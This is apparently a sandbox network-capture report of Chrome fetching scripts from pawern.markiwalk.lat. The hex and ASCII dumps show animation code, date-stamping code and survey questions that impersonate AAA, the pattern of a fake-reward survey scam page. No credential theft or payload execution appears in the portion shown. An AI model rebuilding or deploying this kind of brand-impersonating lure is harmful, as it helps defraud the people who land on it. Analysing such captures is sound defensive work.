20 22 6e 6f 6e 65 22 3b 0d 0a 20 20 20 20 7d 2c 20 34 39 30 29 0d Data Ascii: entElement.parentElement; var next = ancestor.nextElementSibling; ancestor.classList.add("animate__animated"); ancestor.classList.add("animate__fadeOut"); setTimeout(function () { ancestor.style.display = "none"; }, 490)
2024-10-03 16:18:12 UTC	1369	IN	Data Raw: 61 74 65 5f 5f 66 61 64 65 4f 75 74 22 29 3b 0d 0a 20 20 20 20 20 20 20 20 64 6f 6e 65 73 5b 30 5d 2e 73 74 79 6c 65 2e 63 6f 6c 6f 72 20 3d 20 22 23 33 34 61 65 32 31 22 3b 0d 0a 20 20 20 20 20 20 20 20 6c 6f 61 64 49 6d 67 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 74 65 64 22 29 3b 0d 0a 20 20 20 20 20 20 20 20 6c 6f 61 64 49 6d 67 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 61 6e 69 6d 61 74 65 5f 5f 62 6f 75 6e 63 65 49 6e 22 29 3b 0d 0a 20 20 20 20 20 20 20 20 6c 6f 61 64 42 67 43 6f 6c 2e 73 74 79 6c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 49 6d 61 67 65 20 3d 20 22 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 74 6f 20 72 69 67 68 74 2c 20 23 65 33 66 66 64 66 2c 23 66 66 66 2c 23 66 66 66 2c 23 66 Data Ascii: ate__fadeOut"); dones[0].style.color = "#34ae21"; loadImg.classList.add("animate__animated"); loadImg.classList.add("animate__bounceIn"); loadBgCol.style.backgroundImage = "linear-gradient(to right, #e3ffdf,#fff,#fff,#f
2024-10-03 16:18:12 UTC	1369	IN	Data Raw: 20 6c 6f 61 64 49 6d 67 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 61 6e 69 6d 61 74 65 5f 5f 62 6f 75 6e 63 65 49 6e 22 29 3b 0d 0a 20 20 20 20 20 20 20 20 6c 6f 61 64 42 67 43 6f 6c 2e 73 74 79 6c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 49 6d 61 67 65 20 3d 20 22 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 74 6f 20 72 69 67 68 74 2c 20 23 65 33 66 66 64 66 2c 23 66 66 66 2c 23 66 66 66 2c 23 66 66 66 2c 23 65 33 66 66 64 66 29 22 3b 0d 0a 20 20 20 20 7d 2c 36 33 30 30 29 3b 0d 0a 0d 0a 20 20 20 20 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 73 74 61 74 65 73 5b 31 5d 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 6e 6f 6e 65 22 3b 0d 0a 20 20 20 20 20 20 20 20 73 74 61 74 65 73 5b 32 5d 2e Data Ascii: loadImg.classList.add("animate__bounceIn"); loadBgCol.style.backgroundImage = "linear-gradient(to right, #e3ffdf,#fff,#fff,#fff,#e3ffdf)"; },6300); setTimeout(function () { states[1].style.display="none"; states[2].
2024-10-03 16:18:12 UTC	1369	IN	Data Raw: 66 66 64 66 2c 23 66 66 66 2c 23 66 66 66 2c 23 66 66 66 2c 23 65 33 66 66 64 66 29 22 3b 0d 0a 20 20 20 20 7d 2c 31 30 33 30 30 29 3b 0d 0a 0d 0a 20 20 20 20 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 73 74 61 74 65 73 5b 32 5d 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 6e 6f 6e 65 22 3b 0d 0a 20 20 20 20 20 20 20 20 73 74 61 74 65 73 5b 33 5d 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 62 6c 6f 63 6b 22 3b 0d 0a 20 20 20 20 20 20 20 20 73 74 61 74 65 73 5b 33 5d 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 74 65 64 22 29 3b 0d 0a 20 20 20 20 20 20 20 20 73 74 61 74 65 73 5b 33 5d 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 61 6e 69 6d 61 Data Ascii: ffdf,#fff,#fff,#fff,#e3ffdf)"; },10300); setTimeout(function () { states[2].style.display="none"; states[3].style.display="block"; states[3].classList.add("animate__animated"); states[3].classList.add("anima
2024-10-03 16:18:12 UTC	1369	IN	Data Raw: 3b 0d 0a 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 70 7a 61 32 22 29 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 74 65 64 22 29 3b 0d 0a 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 70 7a 61 32 22 29 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 61 6e 69 6d 61 74 65 5f 5f 66 61 64 65 49 6e 22 29 3b 0d 0a 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6e 6f 74 68 69 6e 67 2d 69 64 22 29 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 20 3d 20 22 6e 6f 6e 65 22 3b 0d 0a 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 Data Ascii: ; document.getElementById("pza2").classList.add("animate__animated"); document.getElementById("pza2").classList.add("animate__fadeIn"); document.getElementById("nothing-id").style.display = "none"; document.getElementBy
2024-10-03 16:18:12 UTC	1369	IN	Data Raw: 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 63 6f 6d 6d 65 6e 74 73 22 29 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 20 3d 20 22 6e 6f 6e 65 22 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 66 66 74 72 66 6f 6f 74 65 72 22 29 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 20 3d 20 22 6e 6f 6e 65 22 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 63 6f 6e 74 65 6e 74 2d 63 68 61 6e 67 65 43 6f 6c 22 29 2e 73 74 79 6c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 49 6d 61 67 65 20 3d 20 22 6e 6f 6e 65 22 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 72 61 77 6c 6f 61 64 65 Data Ascii: ment.getElementById("comments").style.display = "none"; document.getElementById("fftrfooter").style.display = "none"; document.getElementById("content-changeCol").style.backgroundImage = "none"; drawloade
2024-10-03 16:18:12 UTC	1369	IN	Data Raw: 69 72 20 73 65 72 76 69 63 65 73 3f 22 2c 0d 0a 20 20 20 20 22 46 72 65 71 75 65 6e 74 6c 79 22 2c 0d 0a 20 20 20 20 22 4f 63 63 61 73 69 6f 6e 61 6c 6c 79 22 2c 0d 0a 20 20 20 20 22 52 61 72 65 6c 79 22 2c 0d 0a 20 20 20 20 22 4e 65 76 65 72 22 2c 0d 0a 20 20 20 20 22 57 68 61 74 20 77 6f 75 6c 64 20 65 6e 63 6f 75 72 61 67 65 20 79 6f 75 20 74 6f 20 65 78 70 6c 6f 72 65 20 41 41 41 20 73 65 72 76 69 63 65 73 20 6d 6f 72 65 3f 22 2c 0d 0a 20 20 20 20 22 45 78 63 6c 75 73 69 76 65 20 6d 65 6d 62 65 72 20 64 69 73 63 6f 75 6e 74 73 22 2c 0d 0a 20 20 20 20 22 45 78 70 61 6e 64 65 64 20 72 6f 61 64 73 69 64 65 20 61 73 73 69 73 74 61 6e 63 65 20 6f 70 74 69 6f 6e 73 22 2c 0d 0a 20 20 20 20 22 4d 6f 72 65 20 74 72 61 76 65 6c 2d 72 65 6c 61 74 65 64 20 70 65 Data Ascii: ir services?", "Frequently", "Occasionally", "Rarely", "Never", "What would encourage you to explore AAA services more?", "Exclusive member discounts", "Expanded roadside assistance options", "More travel-related pe
2024-10-03 16:18:12 UTC	104	IN	Data Raw: 0d 0a 77 68 69 6c 65 28 64 73 71 20 3c 20 71 74 65 78 78 74 74 2e 6c 65 6e 67 74 68 29 7b 0d 0a 20 20 20 20 71 75 65 73 5b 64 73 71 5d 2e 69 6e 6e 65 72 54 65 78 74 20 3d 20 71 74 65 78 78 74 74 5b 64 73 71 5d 3b 0d 0a 20 20 20 20 64 73 71 2b 2b 3b 0d 0a 7d 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a Data Ascii: while(dsq < qtexxtt.length){ ques[dsq].innerText = qtexxtt[dsq]; dsq++;}
2024-10-03 16:18:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.16	49707	194.31.223.121	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:18:12 UTC	123	IN	HTTP/1.1 408 Request Time-out Content-length: 110 Cache-Control: no-cache Connection: close Content-Type: text/html
2024-10-03 16:18:12 UTC	110	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 38 20 52 65 71 75 65 73 74 20 54 69 6d 65 2d 6f 75 74 3c 2f 68 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 64 69 64 6e 27 74 20 73 65 6e 64 20 61 20 63 6f 6d 70 6c 65 74 65 20 72 65 71 75 65 73 74 20 69 6e 20 74 69 6d 65 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>408 Request Time-out</h1>Your browser didn't send a complete request in time.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.16	49732	104.21.57.136	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:18:12 UTC	418	OUT	GET /master/us217/script.js HTTP/1.1 Host: pawern.markiwalk.lat Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=fbddb8df413c89a1eda7964e62df79cd
2024-10-03 16:18:12 UTC	821	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 16:18:12 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Cache-Control: public, max-age=604800 expires: Thu, 10 Oct 2024 15:27:01 GMT last-modified: Thu, 05 Sep 2024 16:49:32 GMT vary: Accept-Encoding,User-Agent x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff CF-Cache-Status: HIT Age: 3071 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vD28l%2Fi1p%2FVbkb8oV8JMyo3aP7MnBzK22%2FxQC%2BFbB0bAKP%2FTc5CXvNIZIJqqni25GqcPt%2BDVwnPf05IN9941MigBIUKr820bkA7nS1gP1HQumbYcl7hBetZObJ5gJvNW00Dv%2BMgFCw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cce3f2dfb9a72bc-EWR
2024-10-03 16:18:12 UTC	548	IN	Data Raw: 32 37 66 33 0d 0a 76 61 72 20 61 6e 73 77 65 72 73 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 2e 63 6c 73 6e 71 61 61 61 2d 73 65 6c 65 63 74 22 29 3b 0d 0a 76 61 72 20 6c 61 73 74 51 6e 75 6d 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 23 6e 6e 6c 73 74 6d 20 2e 63 6c 73 6e 71 61 61 61 2d 73 65 6c 65 63 74 22 29 2e 6c 65 6e 67 74 68 3b 0d 0a 0d 0a 66 75 6e 63 74 69 6f 6e 20 74 6f 4e 65 78 74 28 65 6c 65 29 20 7b 0d 0a 20 20 20 20 69 66 28 65 6c 65 2e 76 61 6c 75 65 3d 3d 22 31 22 29 7b 0d 0a 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 22 62 64 79 61 6c 6e 31 22 29 5b 30 5d 2e 63 6c 61 73 Data Ascii: 27f3var answers = document.querySelectorAll(".clsnqaaa-select");var lastQnum = document.querySelectorAll("#nnlstm .clsnqaaa-select").length;function toNext(ele) { if(ele.value=="1"){ document.getElementsByClassName("bdyaln1")[0].clas
2024-10-03 16:18:12 UTC	1369	IN	Data Raw: 65 6e 74 45 6c 65 6d 65 6e 74 2e 70 61 72 65 6e 74 45 6c 65 6d 65 6e 74 3b 0d 0a 20 20 20 20 76 61 72 20 6e 65 78 74 20 3d 20 61 6e 63 65 73 74 6f 72 2e 6e 65 78 74 45 6c 65 6d 65 6e 74 53 69 62 6c 69 6e 67 3b 0d 0a 20 20 20 20 61 6e 63 65 73 74 6f 72 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 74 65 64 22 29 3b 0d 0a 20 20 20 20 61 6e 63 65 73 74 6f 72 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 61 6e 69 6d 61 74 65 5f 5f 66 61 64 65 4f 75 74 22 29 3b 0d 0a 20 20 20 20 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 61 6e 63 65 73 74 6f 72 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 20 3d 20 22 6e 6f 6e 65 22 3b 0d 0a 20 20 20 20 7d 2c 20 34 39 30 29 0d Data Ascii: entElement.parentElement; var next = ancestor.nextElementSibling; ancestor.classList.add("animate__animated"); ancestor.classList.add("animate__fadeOut"); setTimeout(function () { ancestor.style.display = "none"; }, 490)
2024-10-03 16:18:12 UTC	1369	IN	Data Raw: 61 74 65 5f 5f 66 61 64 65 4f 75 74 22 29 3b 0d 0a 20 20 20 20 20 20 20 20 64 6f 6e 65 73 5b 30 5d 2e 73 74 79 6c 65 2e 63 6f 6c 6f 72 20 3d 20 22 23 33 34 61 65 32 31 22 3b 0d 0a 20 20 20 20 20 20 20 20 6c 6f 61 64 49 6d 67 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 74 65 64 22 29 3b 0d 0a 20 20 20 20 20 20 20 20 6c 6f 61 64 49 6d 67 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 61 6e 69 6d 61 74 65 5f 5f 62 6f 75 6e 63 65 49 6e 22 29 3b 0d 0a 20 20 20 20 20 20 20 20 6c 6f 61 64 42 67 43 6f 6c 2e 73 74 79 6c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 49 6d 61 67 65 20 3d 20 22 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 74 6f 20 72 69 67 68 74 2c 20 23 65 33 66 66 64 66 2c 23 66 66 66 2c 23 66 66 66 2c 23 66 Data Ascii: ate__fadeOut"); dones[0].style.color = "#34ae21"; loadImg.classList.add("animate__animated"); loadImg.classList.add("animate__bounceIn"); loadBgCol.style.backgroundImage = "linear-gradient(to right, #e3ffdf,#fff,#fff,#f
2024-10-03 16:18:12 UTC	1369	IN	Data Raw: 20 6c 6f 61 64 49 6d 67 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 61 6e 69 6d 61 74 65 5f 5f 62 6f 75 6e 63 65 49 6e 22 29 3b 0d 0a 20 20 20 20 20 20 20 20 6c 6f 61 64 42 67 43 6f 6c 2e 73 74 79 6c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 49 6d 61 67 65 20 3d 20 22 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 74 6f 20 72 69 67 68 74 2c 20 23 65 33 66 66 64 66 2c 23 66 66 66 2c 23 66 66 66 2c 23 66 66 66 2c 23 65 33 66 66 64 66 29 22 3b 0d 0a 20 20 20 20 7d 2c 36 33 30 30 29 3b 0d 0a 0d 0a 20 20 20 20 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 73 74 61 74 65 73 5b 31 5d 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 6e 6f 6e 65 22 3b 0d 0a 20 20 20 20 20 20 20 20 73 74 61 74 65 73 5b 32 5d 2e Data Ascii: loadImg.classList.add("animate__bounceIn"); loadBgCol.style.backgroundImage = "linear-gradient(to right, #e3ffdf,#fff,#fff,#fff,#e3ffdf)"; },6300); setTimeout(function () { states[1].style.display="none"; states[2].
2024-10-03 16:18:12 UTC	1369	IN	Data Raw: 66 66 64 66 2c 23 66 66 66 2c 23 66 66 66 2c 23 66 66 66 2c 23 65 33 66 66 64 66 29 22 3b 0d 0a 20 20 20 20 7d 2c 31 30 33 30 30 29 3b 0d 0a 0d 0a 20 20 20 20 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 73 74 61 74 65 73 5b 32 5d 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 6e 6f 6e 65 22 3b 0d 0a 20 20 20 20 20 20 20 20 73 74 61 74 65 73 5b 33 5d 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 62 6c 6f 63 6b 22 3b 0d 0a 20 20 20 20 20 20 20 20 73 74 61 74 65 73 5b 33 5d 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 74 65 64 22 29 3b 0d 0a 20 20 20 20 20 20 20 20 73 74 61 74 65 73 5b 33 5d 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 61 6e 69 6d 61 Data Ascii: ffdf,#fff,#fff,#fff,#e3ffdf)"; },10300); setTimeout(function () { states[2].style.display="none"; states[3].style.display="block"; states[3].classList.add("animate__animated"); states[3].classList.add("anima
2024-10-03 16:18:12 UTC	1369	IN	Data Raw: 3b 0d 0a 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 70 7a 61 32 22 29 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 74 65 64 22 29 3b 0d 0a 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 70 7a 61 32 22 29 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 61 6e 69 6d 61 74 65 5f 5f 66 61 64 65 49 6e 22 29 3b 0d 0a 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6e 6f 74 68 69 6e 67 2d 69 64 22 29 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 20 3d 20 22 6e 6f 6e 65 22 3b 0d 0a 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 Data Ascii: ; document.getElementById("pza2").classList.add("animate__animated"); document.getElementById("pza2").classList.add("animate__fadeIn"); document.getElementById("nothing-id").style.display = "none"; document.getElementBy
2024-10-03 16:18:12 UTC	1369	IN	Data Raw: 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 63 6f 6d 6d 65 6e 74 73 22 29 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 20 3d 20 22 6e 6f 6e 65 22 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 66 66 74 72 66 6f 6f 74 65 72 22 29 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 20 3d 20 22 6e 6f 6e 65 22 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 63 6f 6e 74 65 6e 74 2d 63 68 61 6e 67 65 43 6f 6c 22 29 2e 73 74 79 6c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 49 6d 61 67 65 20 3d 20 22 6e 6f 6e 65 22 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 72 61 77 6c 6f 61 64 65 Data Ascii: ment.getElementById("comments").style.display = "none"; document.getElementById("fftrfooter").style.display = "none"; document.getElementById("content-changeCol").style.backgroundImage = "none"; drawloade
2024-10-03 16:18:12 UTC	1369	IN	Data Raw: 69 72 20 73 65 72 76 69 63 65 73 3f 22 2c 0d 0a 20 20 20 20 22 46 72 65 71 75 65 6e 74 6c 79 22 2c 0d 0a 20 20 20 20 22 4f 63 63 61 73 69 6f 6e 61 6c 6c 79 22 2c 0d 0a 20 20 20 20 22 52 61 72 65 6c 79 22 2c 0d 0a 20 20 20 20 22 4e 65 76 65 72 22 2c 0d 0a 20 20 20 20 22 57 68 61 74 20 77 6f 75 6c 64 20 65 6e 63 6f 75 72 61 67 65 20 79 6f 75 20 74 6f 20 65 78 70 6c 6f 72 65 20 41 41 41 20 73 65 72 76 69 63 65 73 20 6d 6f 72 65 3f 22 2c 0d 0a 20 20 20 20 22 45 78 63 6c 75 73 69 76 65 20 6d 65 6d 62 65 72 20 64 69 73 63 6f 75 6e 74 73 22 2c 0d 0a 20 20 20 20 22 45 78 70 61 6e 64 65 64 20 72 6f 61 64 73 69 64 65 20 61 73 73 69 73 74 61 6e 63 65 20 6f 70 74 69 6f 6e 73 22 2c 0d 0a 20 20 20 20 22 4d 6f 72 65 20 74 72 61 76 65 6c 2d 72 65 6c 61 74 65 64 20 70 65 Data Ascii: ir services?", "Frequently", "Occasionally", "Rarely", "Never", "What would encourage you to explore AAA services more?", "Exclusive member discounts", "Expanded roadside assistance options", "More travel-related pe
2024-10-03 16:18:12 UTC	104	IN	Data Raw: 0d 0a 77 68 69 6c 65 28 64 73 71 20 3c 20 71 74 65 78 78 74 74 2e 6c 65 6e 67 74 68 29 7b 0d 0a 20 20 20 20 71 75 65 73 5b 64 73 71 5d 2e 69 6e 6e 65 72 54 65 78 74 20 3d 20 71 74 65 78 78 74 74 5b 64 73 71 5d 3b 0d 0a 20 20 20 20 64 73 71 2b 2b 3b 0d 0a 7d 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a Data Ascii: while(dsq < qtexxtt.length){ ques[dsq].innerText = qtexxtt[dsq]; dsq++;}
2024-10-03 16:18:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.16	49733	104.21.57.136	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:18:12 UTC	420	OUT	GET /master/us217/datehead.js HTTP/1.1 Host: pawern.markiwalk.lat Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=fbddb8df413c89a1eda7964e62df79cd
2024-10-03 16:18:12 UTC	819	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 16:18:12 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Cache-Control: public, max-age=604800 expires: Thu, 10 Oct 2024 15:27:01 GMT last-modified: Thu, 05 Sep 2024 16:49:31 GMT vary: Accept-Encoding,User-Agent x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff CF-Cache-Status: HIT Age: 3071 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WrXkzTKJzX7Sl%2FuAZmrsC64DtCFcPDI2BHUI5%2FxSO%2B0dUArsGPjaD5%2F7JblxxKmfXAxl7o6Hq6qwetCCozPtKJZHtqig6Ay6Pv8ONfN1AZhPdqX%2Fufv%2B0DNcA7GvAjk3yfbyHjYFTg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cce3f2e3e081a34-EWR
2024-10-03 16:18:12 UTC	550	IN	Data Raw: 39 39 39 0d 0a 66 75 6e 63 74 69 6f 6e 20 64 61 74 65 68 61 78 28 29 20 7b 0d 0a 20 20 20 20 76 61 72 20 6d 79 64 61 74 65 20 3d 20 6e 65 77 20 44 61 74 65 28 29 0d 0a 20 20 20 20 6d 79 64 61 74 65 2e 73 65 74 44 61 74 65 28 6d 79 64 61 74 65 2e 67 65 74 44 61 74 65 28 29 29 3b 0d 0a 20 20 20 20 76 61 72 20 79 65 61 72 20 3d 20 6d 79 64 61 74 65 2e 67 65 74 59 65 61 72 28 29 0d 0a 20 20 20 20 69 66 20 28 79 65 61 72 20 3c 20 31 30 30 30 29 0d 0a 20 20 20 20 20 20 20 20 79 65 61 72 20 2b 3d 20 31 39 30 30 0d 0a 20 20 20 20 76 61 72 20 64 61 79 20 3d 20 6d 79 64 61 74 65 2e 67 65 74 44 61 79 28 29 0d 0a 20 20 20 20 76 61 72 20 6d 6f 6e 74 68 20 3d 20 6d 79 64 61 74 65 2e 67 65 74 4d 6f 6e 74 68 28 29 0d 0a 20 20 20 20 76 61 72 20 64 61 79 6d 20 3d 20 6d 79 Data Ascii: 999function datehax() { var mydate = new Date() mydate.setDate(mydate.getDate()); var year = mydate.getYear() if (year < 1000) year += 1900 var day = mydate.getDay() var month = mydate.getMonth() var daym = my
2024-10-03 16:18:12 UTC	1369	IN	Data Raw: 22 2c 20 22 4e 6f 76 65 6d 62 65 72 22 2c 20 22 44 65 63 65 6d 62 65 72 22 29 3b 0d 0a 20 20 20 20 0d 0a 20 20 20 20 2f 2f 76 61 72 20 64 61 79 61 72 72 61 79 20 3d 20 41 72 72 61 79 28 22 64 69 6d 61 6e 63 68 65 22 2c 20 22 6c 75 6e 64 69 22 2c 20 22 6d 61 72 64 69 22 2c 20 22 6d 65 72 63 72 65 64 69 22 2c 20 22 6a 65 75 64 69 22 2c 20 22 76 65 6e 64 72 65 64 69 22 2c 20 22 73 61 6d 65 64 69 22 29 3b 0d 0a 20 20 20 20 2f 2f 76 61 72 20 6d 6f 6e 74 68 61 72 72 61 79 20 3d 20 6e 65 77 20 41 72 72 61 79 28 22 6a 61 6e 76 69 65 72 22 2c 22 66 c3 a9 76 72 69 65 72 22 2c 22 6d 61 72 73 22 2c 22 61 76 72 69 6c 22 2c 22 6d 61 69 22 2c 22 6a 75 69 6e 22 2c 22 6a 75 69 6c 6c 65 74 22 2c 22 61 6f 75 74 22 2c 22 73 65 70 74 65 6d 62 72 65 22 2c 22 6f 63 74 6f 62 72 Data Ascii: ", "November", "December"); //var dayarray = Array("dimanche", "lundi", "mardi", "mercredi", "jeudi", "vendredi", "samedi"); //var montharray = new Array("janvier","fvrier","mars","avril","mai","juin","juillet","aout","septembre","octobr
